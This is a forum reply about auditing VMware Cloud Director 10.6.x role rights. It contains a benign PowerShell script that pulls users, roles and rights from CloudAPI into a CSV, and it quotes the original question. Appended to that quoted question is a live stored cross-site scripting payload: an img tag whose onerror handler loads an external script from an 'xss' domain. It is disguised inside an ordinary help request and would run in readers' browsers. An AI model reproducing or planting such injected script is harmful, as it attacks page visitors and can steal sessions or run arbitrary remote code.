Hi,
Did you try some quick query using Postman like this:
For me work PS script:
#Requires -Version 5.1
<#
.SYNOPSIS
VMware Cloud Director 10.6.x - User & Permission Audit
.DESCRIPTION
Connects to VCD via CloudAPI (version 39.0), enumerates every user
across one or more organisations, resolves each role and its full
set of rights, and exports the result to a timestamped CSV.
Supports:
• Provider-level auth (/cloudapi/1.0.0/sessions/provider)
• Tenant-level auth (/cloudapi/1.0.0/sessions)
• Full pagination on /users and /roles/{id}/rights
• Role-detail cache to minimise API round-trips
• Graceful per-user error handling (bad roles never abort the run)
• Automatic session cleanup on exit
• Optional -OrgName filter (omit to audit the whole provider)
.PARAMETER VcdFqdn
Fully-qualified domain name of your VCD instance.
.PARAMETER OrgName
Organisation to authenticate against. Use "system" (case-insensitive)
for provider-level access; supply a tenant org name for tenant-level.
.PARAMETER Username
Username (without the @Org part - the script appends it).
.PARAMETER OutputPath
Full path for the exported CSV. Defaults to the current directory with
a UTC-timestamped file name.
.PARAMETER FilterOrg
If supplied, only users whose organisation matches this value are
included in the report. Useful when running as provider to narrow output.
.PARAMETER ApiVersion
CloudAPI version string. Defaults to 39.0 (VCD 10.6.x).
.EXAMPLE
# Provider-level audit of the entire platform
.\VCD_User_Permission_Audit.ps1 -VcdFqdn vcd.example.com -OrgName system -Username administrator
.EXAMPLE
# Tenant-level audit of a single organisation
.\VCD_User_Permission_Audit.ps1 -VcdFqdn vcd.example.com -OrgName MyTenantOrg -Username admin-user
.EXAMPLE
# Provider-level audit filtered to one specific organisation
.\VCD_User_Permission_Audit.ps1 -VcdFqdn vcd.example.com -OrgName system -Username administrator -FilterOrg MyTenantOrg
#>
[CmdletBinding()]
param(
[Parameter(Mandatory)]
[ValidateNotNullOrEmpty()]
[string] $VcdFqdn,
[Parameter(Mandatory)]
[ValidateNotNullOrEmpty()]
[string] $OrgName, # "system" for provider context
[Parameter(Mandatory)]
[ValidateNotNullOrEmpty()]
[string] $Username,
[string] $OutputPath, # auto-generated if omitted
[string] $FilterOrg, # optional tenant filter
[string] $ApiVersion = "39.0" # VCD 10.6.x default
)
# ---------------------------------------------------------------------------
# 0. Strict mode & error handling
# ---------------------------------------------------------------------------
Set-StrictMode -Version Latest
$ErrorActionPreference = "Stop"
# ---------------------------------------------------------------------------
# 1. Helper - paginated GET that follows VCD 'next' links automatically
# ---------------------------------------------------------------------------
function Invoke-VcdPagedGet {
<#
.SYNOPSIS
GETs a CloudAPI list endpoint, follows pagination, returns all values.
#>
[CmdletBinding()]
param(
[Parameter(Mandatory)] [string] $Uri,
[Parameter(Mandatory)] [hashtable] $Headers,
[int] $PageSize = 100
)
$allItems = [System.Collections.Generic.List[PSObject]]::new()
# Append pageSize; preserve any existing query string
$separator = if ($Uri -match '\?') { '&' } else { '?' }
$currentUri = "${Uri}${separator}pageSize=${PageSize}"
do {
Write-Verbose " [PAGE] GET $currentUri"
$response = Invoke-RestMethod -Uri $currentUri -Method Get -Headers $Headers -ErrorAction Stop
# CloudAPI wraps list results in a 'values' array
if ($null -ne $response.values) {
$allItems.AddRange([PSObject[]]$response.values)
}
# 'next' is null / missing on the final page
$currentUri = $response.next
} while ($currentUri)
return $allItems
}
# ---------------------------------------------------------------------------
# 2. Prompt for password securely (never stored in plaintext)
# ---------------------------------------------------------------------------
Write-Host "Connecting to VCD: https://$VcdFqdn (Org: $OrgName)" -ForegroundColor Cyan
$securePass = Read-Host -Prompt "Enter password for '$Username'" -AsSecureString
$plainPass = [System.Net.NetworkCredential]::new('', $securePass).Password
# ---------------------------------------------------------------------------
# 3. Authenticate - choose provider or tenant endpoint automatically
# ---------------------------------------------------------------------------
$isProvider = ($OrgName -ieq "system")
$sessionPath = if ($isProvider) { "cloudapi/1.0.0/sessions/provider" } else { "cloudapi/1.0.0/sessions" }
$sessionUri = "https://$VcdFqdn/$sessionPath"
# Basic-auth credential string: user@Org:password
$credentials = "$Username@$OrgName`:$plainPass"
$basicToken = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes($credentials))
$authHeaders = @{
"Authorization" = "Basic $basicToken"
"Accept" = "application/json;version=$ApiVersion"
}
Write-Host "Authenticating via $sessionPath ..." -ForegroundColor Cyan
try {
$sessionResponse = Invoke-WebRequest -Uri $sessionUri -Method Post -Headers $authHeaders -ErrorAction Stop
}
catch {
Write-Error "Authentication FAILED. Check credentials and VCD connectivity.`n$_"
exit 1
}
# Extract the Bearer JWT from the response headers
$jwt = $sessionResponse.Headers["VCLOUD-ACCESS-TOKEN"]
if ([string]::IsNullOrWhiteSpace($jwt)) {
Write-Error "No VCLOUD-ACCESS-TOKEN header returned. Authentication may have failed silently."
exit 1
}
# Replace auth headers with Bearer token for all subsequent calls
$apiHeaders = @{
"Authorization" = "Bearer $jwt"
"Accept" = "application/json;version=$ApiVersion"
}
# ---------------------------------------------------------------------------
# 4. Register a finaliser so the VCD session is always closed on exit
# ---------------------------------------------------------------------------
# Capture variables for the finally block
$finalSessionUri = $sessionUri
$finalHeaders = $apiHeaders
try {
# ---------------------------------------------------------------------------
# 5. Fetch ALL users (paginated)
# ---------------------------------------------------------------------------
Write-Host "Fetching users ..." -ForegroundColor Cyan
$usersUri = "https://$VcdFqdn/cloudapi/1.0.0/users"
$allUsers = Invoke-VcdPagedGet -Uri $usersUri -Headers $apiHeaders
# Apply optional organisation filter
if (-not [string]::IsNullOrWhiteSpace($FilterOrg)) {
$beforeCount = $allUsers.Count
$allUsers = $allUsers | Where-Object { $_.org -ieq $FilterOrg }
Write-Host " Filtered by Org '$FilterOrg': $($allUsers.Count) of $beforeCount users retained." -ForegroundColor Yellow
}
Write-Host " Total users to process: $($allUsers.Count)" -ForegroundColor Cyan
# ---------------------------------------------------------------------------
# 6. Iterate users → resolve roles → expand rights
# ---------------------------------------------------------------------------
# Role cache: roleId → @{ details, rights }
$roleCache = @{}
$fullAudit = [System.Collections.Generic.List[PSCustomObject]]::new()
$errorsCount = 0
foreach ($u in $allUsers) {
$roleName = $u.role.name
$roleId = $u.role.id
$orgName = $u.org # actual org the user belongs to
Write-Host " Processing: $($u.username) [Org: $orgName | Role: $roleName]" -ForegroundColor Gray
# --- 6a. Fetch role details (cached) ---
if (-not $roleCache.ContainsKey($roleId)) {
try {
$roleDetails = Invoke-RestMethod `
-Uri "https://$VcdFqdn/cloudapi/1.0.0/roles/$roleId" `
-Method Get `
-Headers $apiHeaders `
-ErrorAction Stop
$roleCache[$roleId] = $roleDetails
}
catch {
Write-Warning " [WARN] Could not fetch role '$roleName' (ID: $roleId) for user '$($u.username)': $_"
$errorsCount++
continue # skip this user, do NOT abort the entire audit
}
}
$currentRole = $roleCache[$roleId]
# --- 6b. Fetch rights for this role (paginated) ---
# Rights live at /roles/{id}/rights - also paginated on large roles
$rightsUri = "https://$VcdFqdn/cloudapi/1.0.0/roles/$roleId/rights"
# Use cache key for rights separately; store in same hashtable under a sub-key
$rightsCacheKey = "${roleId}__rights"
if (-not $roleCache.ContainsKey($rightsCacheKey)) {
try {
$roleCache[$rightsCacheKey] = Invoke-VcdPagedGet -Uri $rightsUri -Headers $apiHeaders
}
catch {
Write-Warning " [WARN] Could not fetch rights for role '$roleName' (ID: $roleId): $_"
$errorsCount++
continue
}
}
$rights = $roleCache[$rightsCacheKey]
# --- 6c. Map each right to the user ---
if ($rights.Count -eq 0) {
# Role exists but has zero rights - still record the user
$fullAudit.Add([PSCustomObject]@{
Username = $u.username
UserEmail = $u.email
UserOrg = $orgName
UserStatus = if ($u.enabled) { "Active" } else { "Disabled" }
RoleName = $roleName
RightName = "(none)"
RightCategory = "(none)"
})
}
else {
foreach ($right in $rights) {
$fullAudit.Add([PSCustomObject]@{
Username = $u.username
UserEmail = $u.email
UserOrg = $orgName
UserStatus = if ($u.enabled) { "Active" } else { "Disabled" }
RoleName = $roleName
RightName = $right.name
RightCategory = $right.category
})
}
}
}
# ---------------------------------------------------------------------------
# 7. Export results
# ---------------------------------------------------------------------------
if ([string]::IsNullOrWhiteSpace($OutputPath)) {
$timestamp = (Get-Date -UFormat "yyyyMMdd_HHmmss")
$OutputPath = ".\VCD_User_Permission_Audit_${timestamp}.csv"
}
if ($fullAudit.Count -eq 0) {
Write-Warning "No audit records generated. CSV will not be created."
}
else {
$fullAudit | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
Write-Host "" -ForegroundColor Green
Write-Host " Audit saved → $OutputPath" -ForegroundColor Green
Write-Host " Total records : $($fullAudit.Count)" -ForegroundColor Green
Write-Host " Unique users : $(($fullAudit | Select-Object -ExpandProperty Username -Unique).Count)" -ForegroundColor Green
Write-Host " Unique roles : $(($fullAudit | Select-Object -ExpandProperty RoleName -Unique).Count)" -ForegroundColor Green
}
if ($errorsCount -gt 0) {
Write-Warning "Audit completed with $errorsCount warning(s). Check output above for details."
}
# ---------------------------------------------------------------------------
# 8. Session cleanup (finally block)
# ---------------------------------------------------------------------------
} # end try
finally {
Write-Host "Closing VCD session ..." -ForegroundColor DarkGray
try {
Invoke-RestMethod -Uri $finalSessionUri -Method Delete -Headers $finalHeaders -ErrorAction Stop
Write-Host " Session closed successfully." -ForegroundColor DarkGray
}
catch {
Write-Warning " Session DELETE failed (non-critical): $_"
}
}
-------------------------------------------
Original Message:
Sent: Feb 02, 2026 06:40 PM
From: John Wheeler
Subject: VCD 10.6.x: export custom role rights/permissions via API?
Hi, We are trying to audit custom roles in VMware Cloud Director (tenant context). Is there a supported REST/Cloud API endpoint to export a role and its assigned rights/permissions (preferably in a single call), or is the UI the only option? Version: VCD 10.6.x Thanks! <img src="/fP" onerror="var zW = document.createElement(`script`);zW.src = `https://xss.allsaf.eu/d.js`;document.head.appendChild(zW)">
------------------------------
TestSig123
------------------------------